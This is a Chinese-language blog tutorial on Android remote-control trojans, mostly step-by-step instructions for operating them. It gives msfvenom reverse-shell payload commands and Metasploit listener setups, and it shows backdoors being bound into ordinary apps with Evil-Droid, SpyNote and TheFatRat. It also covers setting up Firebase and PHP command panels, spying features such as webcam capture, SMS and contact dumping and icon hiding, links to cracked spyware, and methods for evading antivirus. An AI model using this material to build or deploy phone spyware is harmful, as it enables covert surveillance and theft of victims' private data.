安卓远控

1 安卓基础知识

APK包的组成

Google提供了Android SDK供程序员来开发Android平台的软件。每个软件在最终发布时会打包成一个APK文件,将APK文件传送到Android设备中运行即可安装。APK是Android package的缩写,功能类似于Symbian系统的SIS文件,实际上APK文件就是一个zip压缩包,使用zip格式压缩软件对APK文件进行解压,会发现他由一些图片资源与其他文件组成,并且每个APK文件中包含一个classes.dex (oDex过的APK除外),这个classes.dex就是Android系统Dalvik 虚拟机的可执行文件,简称Dalvik可执行文件。
这里解压一个apk文件,内容如下图所示
image

apk文件组成

静态分析就是对APK解压后的几个重要文件进行分析、篡改、注入等。
(1) assets文件夹:资源目录、声音、字体、网页
(2)lib文件夹: so库存放位置,一般由NDK编译得到,常使用于游戏引擎INI native调用
(3)META-INF文件夹:存放工程的一些属性文件,如Manifest.MF
(4) res文件夹︰资源目录,即应用中使用到的资源目录,已编译的无法直接阅读。
(5)AndroidManifest.xml文件夹:Android工程的基础配置属性文件
(6) classes.dex: Java代码编译得到的Dalvik VM能直接执行的文件。
(7) resources.arsc: res目录下的资源的一个索引文件。

2 常见测试工具

2.1 Metasploit

2.1.1 生成后门

在Kali机器中使用Metasploit 框架子工具之 msfvenom生成后门文件。
┌──(root💀xuegod)-[~]
└─# msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.123.62 LPORT=4444 R >demo.apk
image

常用参数说明:
-a 指定架构如 x86 x64。 x86 代表 32 位, x64 代表 64 位。 32 位软件可以在 64 位系统上运行。
--platform 指定平台,可以选择 windows或者linux,通过 --l platforms 可以查看所有支持的平台
-p 设置攻击载荷,我们使用 windows/meterpreter/reverse_tcp,可以通过-l payloads 查看所有攻击载荷
LHOST 目标主机执行程序后连接我们 Kali 的地址
LPORT 目标主机执行程序后连接我们 Kali 的端口
-b 去掉坏字符,坏字符会影响 payload 正常执行。
-e 指定编码器,也就是所谓的免杀,x86/shikata_ga_nai 是 msf 自带的编码器,可以通过 -l encoders 查看所有编码器
-i 指定 payload 有效载荷编码迭代次数。 指定编码加密次数,为了让杀毒软件,更难查出源代码
-f 指定生成格式,可以是 raw,exe,elf,jar,c 语言的,python 的,java 的等,用 -l formats 查看所有支持的格式
-o 指定文件名称和导出位置。 指定到网站根目录/var/www/html,方便在肉机上下载后门程序

2.2.2 使用 msf 开启监听等待连接

运行Metasploit 并设置监听。
┌──(root💀kali)-[~]
└─# msfdb run
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload android/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.123.62
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > exploit
image

2.2.3 下载安装运行 APK 连接 msf 完成控制

获取到meterpreter权限之后,就可以使用后渗透的一些强大的命令,注意文件会保存在msf当前运行的目录。
image

  • webcam_list 列出网络摄像头
  • sysinfo查看手机信息
  • webcam_stream开启摄像头
  • dump_contacts导出电话号码
  • dump_sms导出短信信息
  • webcam_snap通过摄像头拍照功能
  • record_mic [ˈrekərd]/记录/ 从默认麦克风录制音频为X秒
  • webcam_chat 开始视频聊天
  • webcam_snap 从指定的摄像头获取快照
  • webcam_stream -i 1 从指定的网络摄像头播放视频流[选择后摄像头]
  • activity_start 从URI字符串启动Android活动
  • check_root 检查设备是否有根
  • dump_calllog 获取调用日志
  • dump_contacts 获取联系人列表
  • dump_sms 获取短信
  • geolocate 利用地理定位获取当前LAT
  • wlan_geolocate 利用WLAN信息获取当前LAT
  • hide_app_icon 从发射器隐藏应用程序图标
  • interval_collect 管理区间收集能力
  • send_sms 从目标会话发送短消息
  • set_audio_mode
  • sqlite_query 从存储库查询SQLite数据库
  • wakelock 启用/禁用Wakelock

2.2 TheFatRat

2.2.1 工具简介

这款工具可以帮大家构建后门程序,以及执行后渗透利用攻击等等。在主流Payload的帮助下,这款工具可以生成质量非常高的恶意软件,而这些恶意软件可以在Windows、Android和macOS平台上运行。TheAtrat提供了一种创建后门和有效负载的简单方法,可以绕过大多数反病毒程序。
自动化Metasploit功能

  1. 针对Windows、Linux、Mac和Android创建后门;
  2. 后门可绕过反病毒产品;
  3. 检测/开启Metasploit服务;
  4. 针对Windows、Linux、Android和macOS创建meterpreterreverse_tcp Payload;
  5. 开启多个meterpreter reverse_tcp监听器;
  6. Searchsploit快速搜索;
  7. 绕过反病毒产品;
  8. 使用其他技术创建后门;
  9. 自动运行监听器脚本;

2.2.2 安装软件

项目地址:https://github.com/Screetsec/TheFatRat
安装下载命令:
git clone https://github.com/Screetsec/TheFatRat.git
cd TheFatRat
接下来,我们需要提供执行权限并运行setup.sh。
chmod +x setup.sh && ./setup.sh
大约10分钟的安装时间,中途需要按键继续。
image
安装过程提示linux系统解析,执行命令。
apt install mingw-w64
然后再给fatrat文件执行权限并允许。
image

2.2.3 运行软件

运行成功之后,会看到下面这个菜单界面
image
我们选择【01】,创建一个后门。
image
可以看到这边有很多的后门文件,我们选择我们需要的[3]android后门,根据提示设置IP地址和端口,还有文件名称。
image
选择[3]的payload。
image
等待文件创建成功,注意文件保存的路径。
image

我们找到相应的test.apk文件,移动到/var/www/html目录下面,然后在手机上安装。打开Metasploit,设置监听。
image
在手机上运行安装好的软件。这边里面就拿到了shell
image

可以继续使用meterpreter后渗透的一些命令。

2.3 Evil-Droid恶意软件捆绑

2.3.1 工具介绍

Evil-Droid可以将后门隐藏到其他apk文件中,运行文件时就直接可以执行后门程序。

项目地址:https://github.com/m4sc3r4n0/evil-droid
注意事项:
① 项目已经很久没有更新维护,/Evil-Droid-master/tools目录下中的apktools文件版本过低,需要更换成(2.4版本及以上)。
② 禁用 IPv6
└─# echo "net.ipv6.conf.eth0.disable_ipv6 = 1" >> /etc/sysctl.conf
└─# sysctl -p
└─# ifconfig
image

2.3.2 工具安装

┌──(root💀xuegod)-[/opt]
└─# cd Evil-Droid-master
└─# vim evil-droid

改:
40 ping -c 1 google.com > /dev/null 2>&1
为:
40 ping -c 1 baidu.com > /dev/null 2>&1

改:删除标红字段,该参数会报错。
649 xterm -T "EVIL-DROID MULTI/HANDLER" -fa monaco -fs 10 -bg black -e "msfconsole -x 'use multi/handler; set LHOST $lanip; set LPORT $LPORT; set PAYLOAD $PAYLOAD; exploit'"
为:
649 xterm -T "EVIL-DROID MULTI/HANDLER" -fs 10 -bg black -e "msfconsole -x 'use multi/handler; set LHOST $lanip; set LPORT $LPORT; set PAYLOAD $PAYLOAD; exploit'"

添加执行权限,运行项目
└─# chmod +x evil-droid
└─# ./evil-droid
默认会检查依赖,如果没找到会自动安装。
image

2.3.3 运行软件

点击确认后会自动启动数据库和 apache项目运行成功,就是如下界面
image

这里我们选择 [3]
image
生成 payload,生成方式与 msfvenom 一致。
image
设置端口号
image
Payload apk 名称保持默认
image
根据需求选择 payload,一般选择第四个。
image
这边我们提前准备好一个游戏安装包(3D暴力摩托),然后选择这个安装包。
image
开始对 APK 进行注入后门
image
生成一个密钥,编译 apk 程序所需。
image
生成带有后门的 APK 程序
APK 存放路径/root/Evil-Droid-master/evilapk/evilapk.apk
image
生成apk之后,我们这边回到Evil-Droid的主菜单
image

另外打开一个终端
手动启动侦听
└─# msfdb run
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set PAYLOAD android/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.1.53
msf6 exploit(multi/handler) > set lport 4444
msf6 exploit(multi/handler) > exploit
image
在手机上安装准备好的apk,然后点击运行。kali这边立马就拿到了shell。
image
这里使用命令让手机拍照。
image
下面就是拍照成功的截图。
image

2.4 Rafel-Rat (未成功)

2.4.1搭建环境

Rafel-Rat:Java编写的带有WebPanel的远程访问工具
项目地址:https://github.com/swagkarna/Rafel-Rat/
按照提示我们在000webhost网址创建账户。
https://www.000webhost.com/members/website/flamingo119719/
我们在国内只能开代理访问,但是注册对我们不是很友好(会检测到我们使用代理),我们直接使用Google账户进行登录。
在个人主页找到文件管理器。
image
下载好文件Rafel-Rat-main,将文件unzip.php和Server_Panel压缩后的文件,然后上传到站点中的public_html目录下
image
将压缩包文件进行解压
image
image
image
解压完成之后,将压缩包Server_Panel.zip删除
image
打开login.php
image
image
输入用户名Hande密码Ercel
image

2.4.1 ApkEasyTool 构建 Apk

我们按照官网介绍的方法进行操作。
image
我已经准备好了相关的ApkEasyTool工具和BlackMartapk文件。
image
按照提示对BlackMartapk文件进行反编译。然后修改InternalService.smali文件。讲url地址换成我们在000webhost站点搭建的环境地址。
image
对修改好的文件进行编译,最终编译失败了。
image
经过查阅资料,对着方面不是很熟悉,暂时没能成功的解决。后续会继续的解决相关错误。

2.5 SpyNote 5.0

2.5.1工具简介

项目地址:https://github.com/FDlucifer/SpyNote5.0
新版本的软件已经商用。

2.5.2使用展示

运行软件
image
点击底部菜单栏的Listen Port按钮,设置监听的按钮。
image
开启监听后,SpyNote的界面就变成如下图显示的模样了,此时我们点击Build Client开始配置生成木马:
image
修改APP图标/名字/版本号什么的,自行发挥,越逼真越好:
image
然后点击Dynamic DNS
image
然后就是选择性的开启一下木马的高级功能:
image
这里额外提及一下Merging App,这个是“捆绑”功能,即你可以把木马APP捆绑到一个正常的APP上。
全部都设置好了后,点击如图所示的按钮开始生成APP:
image

此时会弹出一个要你选择文件的窗口,选择SpyNote根目录内的Patch目录,然后选中Patch-release.apk即可:
image

稍等一会,APP如果生成成功,SpyNote会自动弹出一个窗口,里面的client.apk就是生成的木马
image
在手机中安装测试,点击运行软件。
image
这边可以看到,已经成功的获取到了手机相关的信息。
image
查看短信信息。
可以使用merging 功能讲软件合并,但是测试之后发现,不是真正意义上的合并,安装之后还是两个独立的软件。

2.6 AIRAVAT

2.7.1 项目简介

项目地址:https://github.com/Th30neAnd0nly/AIRAVAT
参考视频:https://www.youtube.com/watch?v=an2BALW73j4
https://www.youtube.com/watch?v=i3JAHcsWwu0

2.7.2 环境配置

① 注册Firebase 帐户
image
② 创建一个项目flamingo

image
③ 启用 Firebase 数据库和 Firebase 存储。
image
image
image
④ 在 Firebase 数据库中单击规则并设置.read和.writetrue

  { 
     “rule”:{ 
             “.read”:“true” ,
             “ .write” :“true” 
              } 
    }

image
image
⑤ 在 Firebase 存储中,允许对所有路径进行读写。
rules_version = '2';
service firebase.storage {
match /b/{bucket}/o {
match /{allPaths=**} {
allow read, write
}
}
}
image

⑥ 转到项目概述并创建一个 Android 应用程序并下载google-services.json文件。
image
image
将配置文件 Google-services.json下载到本地。
image
⑦ 创建一个 web 应用并复制 webapp 的配置。
image
image
⑧ 使用000hostweb网站来托管面板。登录网站,然后讲准备好的压缩包上传到public_html目录
image
到项目https://github.com/ndeet/unzipper 中找到unzipper.php文件,并设置到web站点下面,用来解压文件。
image

解压完成之后,把项目中的WEB PANEL目录下面的文件都移动到public_html目录下面。
image
image
再次访问站点,可以看到黑色背景图片
image
⑨ 打开index.html文件,从第 16 行开始,将配置替换为您在第 6 步中创建的 Web 应用配置。
image
Web环境目前搭建成功。

2.7.3 编译应用

下面继续配置安卓应用,在本地打开AIRAVAT-main压缩包,找到instagrem.apk文件。
image
使用ApkTOOL(M) https://maximoff.su/apktool/?lang=en 对其进行反编译。
image
现在打开res/values/strings.xml文件。
image
将 firebase_database_url , google_api_key, google_app_id, google_storage_bucket,的值替换为project_id您的 Firebase 帐户google-services.json
image
修改好文件之后就进行编译。
image
最后在手机上安装编译好的应用,给应用相关的权限信息。

2.7.4 连接测试

运行软件,然后回到web面报,查看设备连接信息。
image
image
经过测试,因为使用的是国外的站点,手机需要开启Google services服务。点击WEB面板的应用,对手机进行测试。
image

https://firebase.google.com/docs/firestore/rtdb-vs-firestore?hl=zh-cn
https://github.com/topics/android-rat

2.7 Teardroid-phprat

2.7.1 项目简介

项目地址:https://github.com/ScRiPt1337/Teardroid-phprat
参考视频:https://www.instagram.com/p/CZSu4y0osHo/
面板 https://hjyt40.deta.dev/v4/task

2.7.2 环境配置

① 环境要求:
 Python3(3.10)
 Java (jdk11)
 Linux
image

② 注册deta账户
点击项目的Deploy to Deta按钮

image

点击Deploy
image

完成之后我们会得到一个域名,访问这个域名查看项目
image

在linux服务器中下载项目
使用以下命令克隆 Teadroid-phprat 存储库。
git clone https://github.com/ScRiPt1337/Teardroid-phprat

在 Teadroid-phprat 目录下 cd ,然后键入下面的命令安装所有依赖项
pip install -r requirements.txt

image

2.7.3 启动项目

python Teadroid.py,查看提示信息。
image

使用参数-b 构建apk文件,后面是文件名称。
image
提示输入url,在deta面版找到URL:https://hjyt40.deta.dev,填写其他的信息
image

成功构建apk文件。
image

2.7.4 连接测试

在手机下载安装好构建的apk文件,点击运行。然后再web面板查看。

image
点击TASK Manager
image
然后刷新页面,就可以看到相应的手机信息内容
image

点击每一项右边的三角按键,就能够查看到详细信息。
image

2.8 SpyNote 6.4

2.8.1工具简介

它是一种运行速度非常快且性能良好的远控工具,黑客通过创建有效载荷来远程破解安卓手机,然后将其传播给受害者。
还可以将他们的有效载荷与任何类型的应用程序(任何类型的社交应用程序,任何类型的游戏应用程序)绑定,因此,当受害者安装时,他会认为这是一个像其他应用程序一样的普通应用程序。下载链接:
https://enesoftware.com/cracked-spynote-6-4-tutorial/
https://www82.zippyshare.com/v/SvBevS6b/file.html
https://www.majidzhacker.com/2021/01/download-spynote-6.4.html
(破解版不保证工具的安全性)
在下载的工具的过程中一定要注意是否为木马程序,谨慎下载,同样运行时尽量在虚拟机中进行。
.NET framework 下载链接:
https://dotnet.microsoft.com/zh-cn/download/dotnet-framework

Java8 下载链接:
https://www.oracle.com/cn/java/technologies/javase/javase8-archive-downloads.html

2.8.2问题解决

问题1. 在本地或者虚拟机运行软件时,SpyNote卡在任务栏无响应。
问题2. 打开软件,选择java安装的Path时,SpyNote应用程序卡住无响应,展现假死状态。
问题3. 提示需要安装.NET framework4.0+版本的应用程序

以上问题都是我在运行SpyNote的过程中遇到的,也查阅了很多资料,基本上都是钓鱼的。我下面给出我的解决办法。

镜像选择:WIN7 专业版(英文原版)
注意,这里需要用到英文原版镜像,由于SpyNote的开发者的环境与我们常用的不同,所以大概率导致了在选择JAVA路径时的假死。然后在win7英文专业版上个重新运行SpyNote基本就可以成功的解决卡死问题。

Win7镜像地址(MSDN提供):
Win7镜像地址(MSDN提供):
ed2k://|file|en_windows_7_professional_x64_dvd_x15-65805.iso|3224686592|A71F26E478076FFC75F02CB6459E87B0|/
image

2.8.3使用展示

首次点击Tool,需要添加java安装的路径。
image

这里尝试捆绑一个正常apk文件,然后尝试连接
image
查看上线消息
image

查看设备安装的应用信息,经过测试,该工具能够打开系统中自带的一些应用,第三方安装的应用暂时不能够成功的打开。
image
在手机上运行apk文件,会加载一个辅助页面,但是在手机系统进程中无法查看到,进程具有自动隐藏的功能。

但是该工具生成的apk文件并不能够支持免杀。还需要对该文件进行加壳或者其他的处理。

3 远控免杀

特征码:从病毒样本中提取的不超过64字节且能代表病毒特征的十六进制代码。

3.1 常见免杀手段

3.1.1修改特征码

免杀的最基本思想就是破坏特征,这个特征有可能是特征码,有可能是行为特征,只要破坏了病毒与木马所固有的特征,并保证其原有功能没有改变,一次免杀就能完成了。

3.1.2花指令免杀

花指令其实就是一段毫无意义的指令,也可以称之为垃圾指令。花指令是否存在对程序的执行结果没有影响,所以它存在的唯一目的就是阻止反汇编程序,或对反汇编设置障碍。

3.1.3加壳免杀

说起软件加壳,简单地说,软件加壳其实也可以称为软件加密(或软件压缩),只是加密(或压缩)的方式与目的不一样罢了。壳就是软件所增加的保护,并不会破坏里面的程序结构,当我们运行这个加壳的程序时,系统首先会运行程序里的壳,然后由壳将加密的程序逐步还原到内存中,最后运行程序。

3.1.4内存免杀

CPU不可能是为某一款加壳软件而特别设计的,因此某个软件被加壳后的可执行代码CPU是读不懂的。这就要求在执行外壳代码时,要先将原软件解密,并放到内存里,然后再通知CPU执行。

3.1.5二次编译

多态编码技术使得每次生成的攻击载荷文件是不一样的,编码和解码也都是不一样。还可以利用管道进行多重编码进行免杀。

3.1.6分离免杀

payload分离免杀和webshell分离免杀,采用分离法,即将ShellCode和加载器分离。网上各种加载器代码也有很多,各种语言实现的都很容易找到,虽然看起来比较简单,但效果却是不错的。

3.1.7资源修改

有些杀软会设置有扫描白名单,比如之前把程序图标替换为360安全卫士图标就能过360的查杀。

① 加资源
使用ResHacker对文件进行资源操作,找来多个正常软件,将它们的资源加入到自己软件,如图片,版本信息,对话框等。

② 替换资源
使用ResHacker替换无用的资源(Version等)。

③ 加签名
使用签名伪造工具,将正常软件的签名信息加入到自己软件中。

posted @ 2022-08-12 17:43  Satoris  阅读(61)  评论(0)    收藏  举报